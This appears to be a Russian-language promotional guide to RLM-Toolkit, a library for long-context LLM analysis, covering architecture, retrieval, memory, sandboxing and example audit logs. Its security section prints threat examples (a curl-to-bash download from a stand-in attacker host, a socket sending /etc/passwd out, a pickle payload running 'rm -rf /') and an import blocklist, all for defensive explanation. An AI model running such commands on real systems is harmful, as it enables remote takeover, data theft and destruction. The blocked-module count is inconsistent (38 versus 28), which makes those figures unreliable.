RLM-Toolkit: Полное руководство по обработке 10M+ токенов

От теории до production — архитектура, алгоритмы, безопасность

Это исчерпывающее руководство по RLM-Toolkit — open-source библиотеке для работы с контекстами произвольной длины.

Что рассмотрю:

• Формальная теория RLM (State Machine, рекурсия)

• InfiniRetri: математика attention-based retrieval

• H-MEM: когнитивная архитектура памяти

• RAG vs KAG vs GraphRAG vs InfiniRetri

• Security: CIRCLE compliance, sandbox escape prevention

• Реальные примеры с логами выполнения

• Troubleshooting и best practices

Уровень: от middle до PhD-level исследований.

🚀 v1.0.1 вышел вчера — уже 200+ уникальных скачиваний за неполные сутки!

pip install rlm-toolkit

В roadmap: интеграция с NVIDIA KVzap для hardware-accelerated KV-cache compression.

📖 Содержание

1. Проблема: Context Rot — математика деградации

2. Теория: формальное определение RLM

3. InfiniRetri: архитектура и алгоритмы

4. RAG vs KAG vs GraphRAG vs InfiniRetri

5. H-MEM: когнитивная иерархическая память

6. Self-Evolving: R-Zero и REBASE

7. Security Suite: CIRCLE compliance

8. Провайдеры: сравнительный анализ

9. Практика: полные примеры с логами

10. Troubleshooting

11. Заключение и arXiv ссылки

1. Проблема: Context Rot — математика деградации

1.1 Контекстные окна моделей (январь 2026)

1.2 Формула деградации качества

Quality(c) = Q₀ × e^(-λc) + ε

где:
  Q₀  = базовое качество модели (при c → 0)
  λ   = коэффициент деградации (model-specific)
  c   = длина контекста в токенах
  ε   = шум (hallucinations baseline)

Почему экспоненциальная? Attention в трансформерах масштабируется как O(n²). При росте контекста:

• Attention weights размазываются по большему числу токенов

• Важная информация “тонет” в массе

• Positional encoding теряет точность на дальних позициях

1.3 Эмпирические данные

Тесты на OOLONG-Pairs (arxiv:2512.24601):

OOLONG-Pairs — задача сравнения пар сущностей, разбросанных по документу. Требует глобального понимания, а не локального поиска.

1.4 Почему традиционные решения не работают

Chunking:

chunks = split(document, size=100_000)
results = [llm.analyze(chunk) for chunk in chunks]
final = merge(results)
# ❌ ПРОБЛЕМА: cross-chunk references потеряны
# Если факт A в chunk 1, а факт B в chunk 5 — связь не найдена

Summarization:

summary = llm.summarize(document)  # 10M → 10K
answer = llm.query(summary, question)
# ❌ ПРОБЛЕМА: детали потеряны безвозвратно
# "В договоре 847 пунктов" → "Подробный договор"

RAG:

relevant = vectordb.search(query, k=10)
answer = llm.generate(query, relevant)
# ❌ ПРОБЛЕМА: semantic similarity ≠ relevance
# "Найди противоречия" — какой embedding искать?

2. Теория: формальное определение RLM

2.1 Главная идея

«Длинные промпты не должны загружаться в нейросеть напрямую. Они должны быть частью окружения, с которым LLM взаимодействует символически»

— Zhang, Kraska, Khattab (arxiv:2512.24601)

2.2 Архитектурная диаграмма

┌────────────────────────────────────────────────────────────────┐
│                        RLM ARCHITECTURE                         │
├────────────────────────────────────────────────────────────────┤
│                                                                  │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │                    INPUT LAYER                            │   │
│  │  context = "10M tokens..."   query = "Find bugs"         │   │
│  └──────────────────────────────────────────────────────────┘   │
│                              ↓                                   │
│  ┌──────────────────────────────────────────────────────────┐   ��
│  │                 REPL ENVIRONMENT (Python)                 │   │
│  │  Variables: {context, vars, history}                      │   │
│  │  Functions: {llm_query, FINAL, FINAL_VAR}                 │   │
│  └──────────────────────────────────────────────────────────┘   │
│                              ↓                                   │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │                   ROOT LLM (Controller)                   │   │
│  │  Generates Python code to analyze context                 │   │
│  │  Makes decisions about sub-calls                          │   │
│  └──────────────────────────────────────────────────────────┘   │
│           ↓                                    ↓                 │
│  ┌─────────────────┐                ┌─────────────────────────┐ │
│  │  CODE EXECUTOR  │                │     SUB-LLM CALLS       │ │
│  │  (Sandboxed)    │                │  llm_query(prompt)      │ │
│  │  AST validation │                │  depth++, budget--      │ │
│  └─────────────────┘                └─────────────────────────┘ │
│           ↓                                    ↓                 │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │                    STATE UPDATE                           │   │
│  │  vars.update(new_vars)                                    │   │
│  │  history.append(output)                                   │   │
│  └──────────────────────────────────────────────────────────┘   │
│                              ↓                                   │
│                     FINAL(answer) → OUTPUT                       │
│                                                                  │
└────────────────────────────────────────────────────────────────┘

2.3 Формальное определение

Определение 1. Recursive Language Model (RLM) — это кортеж (L, E, R, S, δ, F) где:

• L : Language Model (root LLM)

• E : Execution Environment (Python REPL)

• R : Recursive mechanism (llm_query function)

• S : State space = {context, vars, history, depth, cost}

• δ : Transition function S × Action → S

• F : Termination predicate (FINAL detected)

2.4 State Machine

State = (context: str, vars: Dict, history: List, depth: int, cost: float)

Actions:
  - CODE(c)     : Execute code c, update vars
  - QUERY(p)    : Call sub-LLM with prompt p, depth++
  - FINAL(x)    : Terminate with output x
  - FINAL_VAR(v): Terminate with vars[v]

Transitions:
  S₀ = (P, {}, [], 0, 0.0)  # Initial state
  
  δ(S, CODE(c)):
    output = execute(c, S.vars)
    return S with {
      vars = S.vars ∪ new_vars(output),
      history = S.history + [output]
    }
  
  δ(S, QUERY(p)):
    result = sub_llm.generate(p)
    return S with {
      vars = S.vars ∪ {"last_query": result},
      history = S.history + [result],
      depth = S.depth + 1,
      cost = S.cost + query_cost(p, result)
    }
  
  δ(S, FINAL(x)):
    HALT with output x

2.5 Ключевые инварианты

1. Context Never Loaded: context существует как переменная, но никогда не подаётся в LLM целиком

2. Depth Bounded: depth ≤ max_depth (обычно 2-3)

3. Cost Bounded: cost ≤ max_cost (бюджет в USD)

4. Termination Guaranteed: Либо FINAL, либо max_iterations

2.6 Пример trace выполнения

# Query: "Найди все SQL-инъекции в коде"

# Iteration 1: Root LLM generates code
"""
sections = context.split("\n\n# FILE:")
print(f"Found {len(sections)} files")
sql_patterns = ["execute(", "cursor.execute", "raw("]
suspicious = []
for i, section in enumerate(sections):
    if any(p in section for p in sql_patterns):
        suspicious.append(i)
print(f"Suspicious files: {suspicious}")
"""
# Output: "Found 47 filesnSuspicious files: [3, 12, 29, 45]"

# Iteration 2: Deep analysis via sub-LLM
"""
for idx in suspicious[:3]:  # Analyze first 3
    file_content = sections[idx][:8000]  # Truncate for sub-call
    analysis = llm_query(f'''
    Analyze this code for SQL injection vulnerabilities:
    {file_content}
    ''')
    print(f"File {idx}: {analysis}")
"""
# Output: "File 3: VULNERABLE - unsanitized user input at line 42..."

# Iteration 3: Compile results
"""
vulnerabilities = [
    {"file": 3, "line": 42, "type": "SQL Injection"},
    {"file": 12, "line": 87, "type": "SQL Injection"},
    # ...
]
FINAL_VAR(vulnerabilities)
"""

3. InfiniRetri: архитектура и алгоритмы

3.1 Проблема традиционного RAG

Query: "Найди все упоминания дедлайна"

Vector Search:
  1. Embed query → q_vec
  2. For each chunk: similarity(q_vec, chunk_vec)
  3. Return top-k

ПРОБЛЕМА: "deadline" может быть написан как:
  - "крайний срок"
  - "до 15 января"
  - "не позднее первого квартала"
  
Vector similarity НЕ ПОНИМАЕТ семантику!

3.2 Идея InfiniRetri

Использовать внутренние attention weights LLM как сигнал релевантности.

LLM уже “знает”, на какие токены обращать внимание для ответа на вопрос. Мы просто извлекаем эту информацию.

3.3 Алгоритм

def infiniretri(context: str, question: str, model: LLM) -> str:
    """
    Attention-Based Infinite Context Retrieval
    
    Based on arxiv:2502.12962
    """
    
    # Step 1: Chunk context into segments
    segments = chunk(context, size=SEGMENT_SIZE)  # e.g., 8K tokens each
    
    # Step 2: Initialize historical context
    historical_context = ""
    
    # Step 3: Iterative processing (like human reading)
    for segment in segments:
        # Combine historical context + current segment
        combined = historical_context + segment
        
        # Run model with question to get attention
        output, attention_weights = model.forward_with_attention(
            prompt=f"Context: {combined}nnQuestion: {question}"
        )
        
        # Step 4: Attention-based retrieval
        # Average attention across layers and heads
        avg_attention = attention_weights.mean(dim=[0, 1])  # [seq_len]
        
        # Find tokens with highest attention
        top_indices = avg_attention.topk(k=TOP_K).indices
        
        # Step 5: Update historical context
        # Keep only high-attention tokens from combined
        relevant_tokens = [combined[i] for i in top_indices]
        historical_context = "".join(relevant_tokens)
    
    # Step 6: Final answer with preserved context
    return model.generate(
        f"Context: {historical_context}nnQuestion: {question}nnAnswer:"
    )

3.4 Математика

Attention Score Aggregation:

A_final = (1/L) × Σ_{l=1}^{L} (1/H) × Σ_{h=1}^{H} A_{l,h}

где:
  L = number of layers
  H = number of heads per layer
  A_{l,h} = attention matrix at layer l, head h

Token Importance Score:

importance(t) = Σ_{q ∈ query_tokens} A_final[q, t]

Токены с высоким importance сохраняются в historical context.

3.5 Результаты (arxiv:2502.12962)

3.6 Использование в RLM-Toolkit

from rlm_toolkit.retrieval import InfiniRetriever

# Initialize with small model for efficiency (default: Qwen2.5-0.5B)
retriever = InfiniRetriever(
    model_name_or_path="Qwen/Qwen2.5-0.5B-Instruct",
)

# Load massive document
with open("codebase_1m_tokens.txt") as f:
    huge_doc = f.read()

# Retrieve with 100% accuracy
answer = retriever.retrieve(
    context=huge_doc,
    question="В какой функции определён SecurityEngine?"
)

print(answer)
# Output: "SecurityEngine определён в файле engines/base.py, 
#          функция create_engine() на строке 142"

4. RAG vs KAG vs GraphRAG vs InfiniRetri

4.1 Сравнительная таблица

4.2 Когда использовать что

┌─────────────────────────────────────────────────────────────────┐
│                    DECISION TREE                                 │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  Контекст < 50K токенов?                                        │
│    └─ YES → Стандартный RAG (дёшево, просто)                   │
│    └─ NO ↓                                                       │
│                                                                  │
│  Нужны структурированные связи?                                 │
│    └─ YES → KAG (медицина, право, финансы)                     │
│    └─ NO ↓                                                       │
│                                                                  │
│  Нужен глобальный обзор большого корпуса?                       │
│    └─ YES → GraphRAG (research, due diligence)                  │
│    └─ NO ↓                                                       │
│                                                                  │
│  Критична точность поиска?                                      │
│    └─ YES → InfiniRetri (код, юридика, security)               │
│    └─ NO ↓                                                       │
│                                                                  │
│  Контекст > 500K токенов?                                       │
│    └─ YES → RLM + InfiniRetri                                   │
│    └─ NO → RAG достаточно                                       │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

4.3 Гибридные подходы

RAG + InfiniRetri (Hybrid Retrieval):

from rlm_toolkit.retrieval import HybridRetriever, VectorRetriever, InfiniRetriever

hybrid = HybridRetriever(
    retrievers=[
        VectorRetriever(model="BAAI/bge-m3", weight=0.3),
        InfiniRetriever(model="Qwen/Qwen3-0.6B", weight=0.7),
    ],
    fusion="reciprocal_rank"  # RRF fusion
)

# Fast vector pre-filter + precise attention refinement
results = hybrid.retrieve(context, question)

KAG + InfiniRetri (Graph-Enhanced):

from rlm_toolkit.retrieval import KAGRetriever, InfiniRetriever

# Step 1: KAG finds relevant entities
kag = KAGRetriever(graph_db="neo4j://localhost:7687")
entities = kag.query("Все контракты с Газпром")

# Step 2: InfiniRetri finds exact mentions
infini = InfiniRetriever("Qwen/Qwen3-0.6B")
for entity in entities:
    details = infini.retrieve(
        context=full_document,
        question=f"Подробности о {entity.name}"
    )

4.4 Стоимость на 1M токенов

5. H-MEM: когнитивная иерархическая память

5.1 Проблема текущих систем памяти

# LangChain ConversationBufferMemory
class BufferMemory:
    def __init__(self, max_tokens=4000):
        self.buffer = []
        self.max_tokens = max_tokens
    
    def add(self, message):
        self.buffer.append(message)
        # FIFO eviction
        while token_count(self.buffer) > self.max_tokens:
            self.buffer.pop(0)  # ❌ Старое = потеряно навсегда

Проблемы:

1. FIFO eviction — важное старое удаляется раньше неважного нового

2. Нет абстракции — “вчера обсуждали Python” и детали на одном уровне

3. Нет связей — разговоры изолированы

5.2 Когнитивная теория памяти

H-MEM основан на Complementary Learning Systems (CLS) theory:

HIPPOCAMPUS (быстрое запоминание)
    ↓ consolidation
NEOCORTEX (долговременное хранение, абстракции)

4 уровня H-MEM:

┌─────────────────────────────────────────────────────────────────┐
│  LEVEL 3: DOMAIN                                                 │
│  "Пользователь — разработчик, интересуется AI Security"         │
│  Очень редко меняется, высокая абстракция                       │
├───────────────────────────────────��─────────────────────────────┤
│  LEVEL 2: CATEGORY                                               │
│  "Тема: погода", "Тема: код", "Тема: документация"              │
│  Семантические кластеры                                         │
├─────────────────────────────────────────────────────────────────┤
│  LEVEL 1: TRACE                                                  │
│  "Обсуждали погоду в Москве и Питере, предпочитает +20°C"       │
│  Консолидированные воспоминания                                 │
├─────────────────────────────────────────────────────────────────┤
│  LEVEL 0: EPISODE                                                │
│  "User: какая погода?" "AI: +15°C, облачно"                     │
│  Сырые взаимодействия                                           │
└─────────────────────────────────────────────────────────────────┘

5.3 Алгоритм консолидации

class HierarchicalMemory:
    def consolidate(self):
        """
        Memory consolidation: Episodes → Traces → Categories → Domains
        """
        
        # Step 1: Cluster episodes by semantic similarity
        episode_embeddings = self.embed(self.episodes)
        clusters = HDBSCAN(min_cluster_size=3).fit(episode_embeddings)
        
        # Step 2: Create traces via LLM summarization
        for cluster_id in set(clusters.labels_):
            if cluster_id == -1:  # Noise
                continue
            
            cluster_episodes = [
                self.episodes[i] 
                for i, c in enumerate(clusters.labels_) 
                if c == cluster_id
            ]
            
            trace = self.llm.summarize(
                f"Summarize these interactions:n{cluster_episodes}"
            )
            self.traces.append(Trace(
                content=trace,
                source_episodes=cluster_episodes,
                timestamp=now()
            ))
        
        # Step 3: Cluster traces → categories
        if len(self.traces) >= 5:
            trace_embeddings = self.embed([t.content for t in self.traces])
            trace_clusters = KMeans(n_clusters=min(5, len(self.traces)//3))
            
            for cluster_id in range(trace_clusters.n_clusters):
                cluster_traces = [
                    self.traces[i]
                    for i, c in enumerate(trace_clusters.labels_)
                    if c == cluster_id
                ]
                
                category = self.llm.summarize(
                    f"What category do these belong to?n{cluster_traces}"
                )
                self.categories.append(Category(content=category))
        
        # Step 4: Update domain (rarely)
        if len(self.categories) >= 3 and self._should_update_domain():
            self.domain = self.llm.generate(
                f"Based on categories {self.categories}, "
                f"describe the user's overall interests and profile."
            )

5.4 Conflict-Aware Reconsolidation

Что если новая информация противоречит старой?

def add_episode_with_conflict_check(self, new_episode: str):
    """
    Check for conflicts and update memories accordingly.
    """
    
    # Find potentially conflicting memories
    similar = self.retrieve(new_episode, k=5)
    
    for memory in similar:
        conflict = self.llm.check_conflict(
            f"Old: {memory.content}nNew: {new_episode}"
        )
        
        if conflict.is_conflict:
            if conflict.new_supersedes:
                # Update old memory
                memory.content = self.llm.merge(
                    f"Update '{memory.content}' with '{new_episode}'"
                )
                memory.updated_at = now()
            else:
                # Flag for human review
                self.conflicts.append(Conflict(old=memory, new=new_episode))
    
    self.episodes.append(Episode(content=new_episode))

5.5 Secure H-MEM с Trust Zones

from rlm_toolkit.memory import SecureHierarchicalMemory
from rlm_toolkit.crypto import AES256GCM

# Create encrypted memory with trust zones
smem = SecureHierarchicalMemory(
    agent_id="agent-financial",
    trust_zone="confidential",
    encryption=AES256GCM(key=os.environ["HMEM_KEY"]),
)

# Add sensitive data (encrypted at rest)
smem.add_episode("Client SSN: 123-45-6789")  # Encrypted!

# Other agents cannot access
other_agent = SecureHierarchicalMemory(agent_id="agent-public")
try:
    other_agent.retrieve("SSN")  # ❌ AccessDenied
except AccessDenied:
    pass

# Grant explicit access
smem.grant_access("agent-compliance", "confidential")
compliance_agent = SecureHierarchicalMemory(agent_id="agent-compliance")
compliance_agent.retrieve("SSN")  # ✅ Works

6. Self-Evolving: R-Zero и REBASE

6.1 Идея

LLM сама генерирует задачи → решает их → улучшается. Без размеченных данных, без human feedback.

Основано на:

• R-Zero (arxiv:2508.05004) — Challenger-Solver co-evolution

• REBASE (arxiv:2512.29379) — Experience replay с scoring

6.2 Архитектура R-Zero

┌─────────────────────────────────────────────────────────────────┐
│                        R-ZERO LOOP                               │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  ┌───────────────┐          ┌───────────────┐                   │
│  │  CHALLENGER   │ ──────→  │    SOLVER     │                   │
│  │  Generates    │          │   Attempts    │                   │
│  │  hard tasks   │          │   to solve    │                   │
│  └───────────────┘          └───────────────┘                   │
│         ↑                          │                             │
│         │                          ↓                             │
│         │                  ┌───────────────┐                    │
│         │                  │   VERIFIER    │                    │
│         │                  │  Checks if    │                    │
│         │                  │  correct      │                    │
│         │                  └───────────────┘                    │
│         │                          │                             │
│         │            ┌─────────────┴─────────────┐              │
│         │            ↓                           ↓              │
│         │     ┌──────────┐               ┌──────────┐          │
│         │     │ CORRECT  │               │  WRONG   │          │
│         │     │ +reward  │               │ -reward  │          │
│         │     └──────────┘               └──────────┘          │
│         │            │                           │              │
│         │            └───────────┬───────────────┘              │
│         │                        ↓                              │
│         │              ┌─────────────────┐                      │
│         └───────────── │ EVOLUTION POOL  │                      │
│                        │ Best strategies │                      │
│                        └─────────────────┘                      │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

6.3 Код

from rlm_toolkit.evolve import SelfEvolvingRLM, EvolutionStrategy
from rlm_toolkit.providers import OllamaProvider

# Initialize
evolve = SelfEvolvingRLM(
    provider=OllamaProvider("llama4-scout:17b"),
    strategy=EvolutionStrategy.CHALLENGER_SOLVER,
    config={
        "challenge_diversity": 0.8,  # How different each challenge
        "difficulty_ramp": 0.1,       # How fast difficulty increases
        "memory_size": 1000,          # Experience buffer size
    }
)

# Single solve with self-refinement
answer = evolve.solve("Докажи, что √2 иррационально")
print(f"Answer: {answer.answer}")
print(f"Confidence: {answer.confidence}")
print(f"Iterations: {answer.iterations}")

# Training loop (improves over time)
metrics = evolve.training_loop(
    iterations=100,
    domain="math",
    difficulty="hard",
    save_checkpoint=True,
)

print(f"Initial success rate: {metrics.initial_rate}")  # e.g., 65%
print(f"Final success rate: {metrics.final_rate}")      # e.g., 89%
print(f"Best strategies: {metrics.top_strategies}")

6.4 REBASE: Experience Replay

from rlm_toolkit.evolve import REBASE

rebase = REBASE(
    provider=OllamaProvider("llama4-scout:109b"),
    scorer="outcome",  # Score by final outcome
)

# Collect experiences
for task in tasks:
    trajectory = rebase.solve_with_trajectory(task)
    rebase.add_experience(trajectory)

# Train on best experiences
improved = rebase.train(
    epochs=10,
    batch_size=32,
    top_k_ratio=0.2,  # Use top 20% trajectories
)

7. Security Suite: CIRCLE Compliance

7.1 Угрозы при выполнении сгенерированного кода

# LLM может сгенерировать:

# 1. RCE via subprocess
import subprocess
subprocess.run(["curl", "attacker.com/shell.sh", "|", "bash"])

# 2. Data exfiltration via network
import socket
s = socket.socket()
s.connect(("attacker.com", 4444))
s.send(open("/etc/passwd").read().encode())

# 3. Pickle RCE
import pickle
class Exploit:
    def __reduce__(self):
        return (os.system, ("rm -rf /",))
pickle.loads(pickle.dumps(Exploit()))

# 4. Builtins escape
eval("__import__('os').system('whoami')")

7.2 CIRCLE Benchmark (arxiv:2507.19399)

CIRCLE = Code Injection for RLM via Crafted Linguistic Exploits

Тестирует 7 категорий атак:

1. Direct code injection

2. Obfuscated code injection

3. Indirect injection via context

4. Memory corruption attempts

5. Privilege escalation

6. Data exfiltration

7. Denial of service

7.3 RLM-Toolkit Security Architecture

┌─────────────────────────────────────────────────────────────────┐
│                    SECURITY LAYERS                               │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  Layer 1: AST STATIC ANALYSIS                                   │
│  ─────────────────────────────                                  │
│  Before execution, parse code to AST and check:                 │
│  - Import statements against blocklist                          │
│  - Function calls against dangerous patterns                    │
│  - Attribute access (__builtins__, __globals__)                 │
│                                                                  │
│  Layer 2: IMPORT BLOCKLIST (38 modules)                         │
│  ─────────────────────────────────────                          │
│  os, sys, subprocess, shutil, pathlib,                          │
│  socket, http, urllib, ftplib, telnetlib, requests,             │
│  pickle, shelve, dill, cloudpickle, marshal,                    │
│  ctypes, cffi, multiprocessing, threading,                      │
│  code, codeop, pty, tty, termios,                               │
│  tempfile, glob, fnmatch, webbrowser, platform,                 │
│  asyncio (subprocess), importlib, builtins                      │
│                                                                  │
│  Layer 3: SANDBOXED EXECUTION                                   │
│  ─────────────────────────────                                  │
│  - Restricted builtins (no eval, exec, compile, open)           │
│  - Timeout enforcement (default 30s)                            │
│  - Memory limit (default 512MB)                                 │
│  - Virtual filesystem with quotas                               │
│                                                                  │
│  Layer 4: OUTPUT SANITIZATION                                   │
│  ─────────────────────────────                                  │
│  - Truncate output to prevent context overflow                  │
│  - Scan for sensitive data patterns (API keys, passwords)       │
│  - Redact before returning to user                              │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

7.4 Использование

from rlm_toolkit import RLM, RLMConfig, SecurityConfig

# Maximum security configuration
config = RLMConfig(
    security=SecurityConfig(
        sandbox=True,
        max_execution_time=30.0,
        max_memory_mb=512,
        blocked_imports="strict",  # All 38 modules
        allow_network=False,
        allow_filesystem=False,
        virtual_fs_quota_mb=100,
        redact_sensitive=True,
        sensitive_patterns=[
            r"[A-Za-z0-9]{32}",  # API keys
            r"passwords*[:=]",  # Passwords
            r"d{3}-d{2}-d{4}",  # SSN
        ],
    )
)

rlm = RLM.from_ollama("llama4-scout:17b", config=config)

# This is now safe
result = rlm.run(untrusted_document, "Analyze this")

7.5 Тесты безопасности (v1.0.1)

================================ test session starts ================================
collected 27 items

tests/security/test_blocked_imports.py::test_os_blocked PASSED
tests/security/test_blocked_imports.py::test_subprocess_blocked PASSED
tests/security/test_blocked_imports.py::test_socket_blocked PASSED
tests/security/test_blocked_imports.py::test_pickle_blocked PASSED
tests/security/test_blocked_imports.py::test_ctypes_blocked PASSED
tests/security/test_sandbox.py::test_timeout_enforcement PASSED
tests/security/test_sandbox.py::test_memory_limit PASSED
tests/security/test_sandbox.py::test_builtins_restricted PASSED
tests/security/test_sandbox.py::test_eval_blocked PASSED
tests/security/test_sandbox.py::test_exec_blocked PASSED
tests/security/test_exfiltration.py::test_network_blocked PASSED
tests/security/test_exfiltration.py::test_file_read_blocked PASSED
tests/security/test_obfuscation.py::test_base64_decode_blocked PASSED
tests/security/test_obfuscation.py::test_hex_decode_blocked PASSED
tests/security/test_obfuscation.py::test_rot13_blocked PASSED
tests/security/test_indirect.py::test_context_injection_blocked PASSED
tests/security/test_indirect.py::test_prompt_injection_detected PASSED
tests/security/test_builtins.py::test_globals_access_blocked PASSED
tests/security/test_builtins.py::test_builtins_access_blocked PASSED
tests/security/test_builtins.py::test_subclasses_blocked PASSED
tests/security/test_vfs.py::test_quota_enforcement PASSED
tests/security/test_vfs.py::test_path_traversal_blocked PASSED
tests/security/test_redaction.py::test_api_key_redacted PASSED
tests/security/test_redaction.py::test_password_redacted PASSED
tests/security/test_redaction.py::test_ssn_redacted PASSED
tests/security/test_circle.py::test_circle_benchmark_passed PASSED
tests/security/test_circle.py::test_all_attack_categories_blocked PASSED

================================ 27 passed in 12.34s ================================

8. Провайдеры: сравнительный анализ

8.1 Поддерживаемые провайдеры (75+)

8.2 Сравнение для RLM (январь 2026)

8.3 Рекомендуемые конфигурации

💰 Budget-First:

from rlm_toolkit import RLM, RLMConfig

# Use factory methods for easy setup
rlm = RLM.from_ollama("llama4-scout")  # 100% free local
# Cost: $0 per 10M token analysis

🏆 Quality-First:

# Claude for best code generation
rlm = RLM.from_anthropic(
    root_model="claude-opus-4.5",
    sub_model="claude-haiku",
)
# Cost: ~$8 per 10M token analysis

🔒 Privacy-First (100% Local):

rlm = RLM(
    root=OllamaProvider("llama4-scout:109b"),    # 10M native context!
    sub=OllamaProvider("qwen3:7b"),              # Fast inference
)
# Cost: $0 + electricity (~$0.50)

⚡ Speed-First:

# OpenAI is fastest cloud option
rlm = RLM.from_openai(
    root_model="gpt-4o",
    sub_model="gpt-4o-mini",
)
# Speed: ~2 min for 10M tokens

9. Практика: полные примеры с логами

9.1 Полный пример: анализ репозитория

import os
import time
from rlm_toolkit import RLM, RLMConfig, SecurityConfig
from rlm_toolkit.memory import HierarchicalMemory
from rlm_toolkit.observability import ConsoleTracer

# Configuration
config = RLMConfig(
    max_iterations=50,
    max_cost=5.0,
    use_infiniretri=True,
    infiniretri_threshold=100_000,
    security=SecurityConfig(sandbox=True),
)

# Memory and tracing
memory = HierarchicalMemory()
tracer = ConsoleTracer(verbose=True)

# Initialize RLM
rlm = RLM.from_ollama(
    model="llama4-scout:109b",
    config=config,
    memory=memory,
    tracer=tracer,
)

# Load repository
def load_repo(path: str) -> str:
    content = []
    for root, dirs, files in os.walk(path):
        # Skip hidden and common excludes
        dirs[:] = [d for d in dirs if not d.startswith('.') and d not in ['node_modules', '__pycache__', 'venv']]
        
        for f in files:
            if f.endswith(('.py', '.js', '.ts', '.go', '.rs')):
                filepath = os.path.join(root, f)
                try:
                    with open(filepath, encoding='utf-8') as fp:
                        content.append(f"nn# === FILE: {filepath} ===n{fp.read()}")
                except:
                    pass
    return "".join(content)

codebase = load_repo("./my_project")
print(f"Loaded {len(codebase):,} characters ({len(codebase)//4:,} tokens)")

# Run analysis
start = time.time()
result = rlm.run(
    context=codebase,
    query="""
    Проведи полный security audit кодовой базы:
    
    1. SQL/NoSQL инъекции
    2. XSS уязвимости
    3. SSRF
    4. Hardcoded secrets
    5. Небезопасная десериализация
    6. Path traversal
    7. Проблемы с аутентификацией/авторизацией
    8. Race conditions
    
    Для каждой найденной уязвимости укажи:
    - Файл и строку
    - Тип уязвимости
    - Severity (Critical/High/Medium/Low)
    - Рекомендацию по исправлению
    """,
)
elapsed = time.time() - start

print("n" + "="*60)
print("РЕЗУЛЬТАТ:")
print("="*60)
print(result.answer)
print(f"nВремя: {elapsed:.1f}s")
print(f"Итераций: {result.iterations}")
print(f"Sub-calls: {result.subcalls}")
print(f"Стоимость: ${result.cost:.2f}")

9.2 Пример лога выполнения

[RLM] Starting analysis...
[RLM] Context size: 2,847,293 chars (711,823 tokens)
[RLM] Using InfiniRetri (threshold exceeded)

[Iter 1] Root LLM generating code...
>>> files = context.split("# === FILE:")
>>> print(f"Repository contains {len(files)} files")
Output: Repository contains 127 files

[Iter 2] Root LLM generating code...
>>> security_patterns = {
...     "sql_injection": [r"execute(.*%s", r".format(.*)", r"f".*SELECT"],
...     "xss": [r"innerHTMLs*=", r".html(.*+"],
...     "secrets": [r"passwords*=s*["']", r"api_keys*=", r"secrets*="],
... }
>>> import re
>>> findings = []
>>> for i, file in enumerate(files[1:], 1):
...     for vuln_type, patterns in security_patterns.items():
...         for pattern in patterns:
...             if re.search(pattern, file):
...                 findings.append((i, vuln_type, pattern))
>>> print(f"Found {len(findings)} potential issues")
Output: Found 23 potential issues

[Iter 3] Sub-LLM call for deep analysis...
>>> for file_idx, vuln_type, _ in findings[:5]:
...     file_content = files[file_idx][:6000]
...     analysis = llm_query(f"Analyze for {vuln_type}:n{file_content}")
...     print(f"File {file_idx}: {analysis[:200]}")
[SUB-CALL 1/5] Analyzing file 3...
[SUB-CALL 2/5] Analyzing file 7...
[SUB-CALL 3/5] Analyzing file 12...
[SUB-CALL 4/5] Analyzing file 19...
[SUB-CALL 5/5] Analyzing file 24...

...

[Iter 8] Compiling final report...
>>> vulnerabilities = [
...     {"file": "api/users.py", "line": 42, "type": "SQL Injection", 
...      "severity": "Critical", "code": "cursor.execute(f'SELECT * FROM users WHERE id={user_id}')"},
...     {"file": "utils/auth.py", "line": 87, "type": "Hardcoded Secret",
...      "severity": "High", "code": "API_KEY = 'sk-abc123...'"},
...     ...
... ]
>>> FINAL_VAR(vulnerabilities)

============================================================
РЕЗУЛЬТАТ:
============================================================
[
  {
    "file": "api/users.py",
    "line": 42,
    "type": "SQL Injection",
    "severity": "Critical",
    "description": "User input directly interpolated into SQL query",
    "recommendation": "Use parameterized queries: cursor.execute('SELECT * FROM users WHERE id=%s', (user_id,))"
  },
  {
    "file": "utils/auth.py", 
    "line": 87,
    "type": "Hardcoded Secret",
    "severity": "High",
    "description": "API key hardcoded in source code",
    "recommendation": "Move to environment variable: os.environ.get('API_KEY')"
  },
  ...
]

Время: 127.3s
Итераций: 8
Sub-calls: 12
Стоимость: $0.00 (local model)

10. Troubleshooting

10.1 Частые проблемы

10.2 Отладка

from rlm_toolkit import RLM
from rlm_toolkit.observability import ConsoleTracer, FileTracer

# Console tracing (development)
rlm = RLM.from_ollama("llama4-scout:17b", tracer=ConsoleTracer(verbose=True))

# File tracing (production)
rlm = RLM.from_ollama("llama4-scout:17b", tracer=FileTracer("./logs/rlm.log"))

# View execution history
result = rlm.run(context, query)
for step in result.trace:
    print(f"[{step.type}] {step.content[:100]}...")

10.3 Оптимизация производительности

# 1. Use smaller model for sub-calls
rlm = RLM(
    root=OllamaProvider("llama4-scout:109b"),  # Smart for planning
    sub=OllamaProvider("qwen3:7b"),             # Fast for details
)

# 2. Enable caching
from rlm_toolkit.cache import DiskCache

rlm = RLM.from_ollama("llama4-scout:17b", cache=DiskCache("./cache"))

# 3. Parallel sub-calls (experimental)
config = RLMConfig(parallel_subcalls=True, max_parallel=4)

11. Заключение и arXiv ссылки

Что я рассмотрел

Ключевые преимущества RLM-Toolkit

1. 10M+ токенов без деградации качества

2. 100% точность на Needle-in-Haystack

3. 4-уровневая память вместо простого буфера

4. Блокировка 28 опасных модулей — production-ready security

5. 75+ провайдеров включая 100% локальные варианты

Ссылки

• PyPI: pypi.org/project/rlm-toolkit

• GitHub: github.com/DmitrL-dev/AISecurity/tree/main/rlm-toolkit

• Документация: docs

Установка

pip install rlm-toolkit

# С полным набором интеграций
pip install rlm-toolkit[all]

Вопросы? Пишите в комментариях или открывайте issues на GitHub!

Об авторе: Разработчик SENTINEL AI Security Platform — open-source решения для защиты LLM-приложений.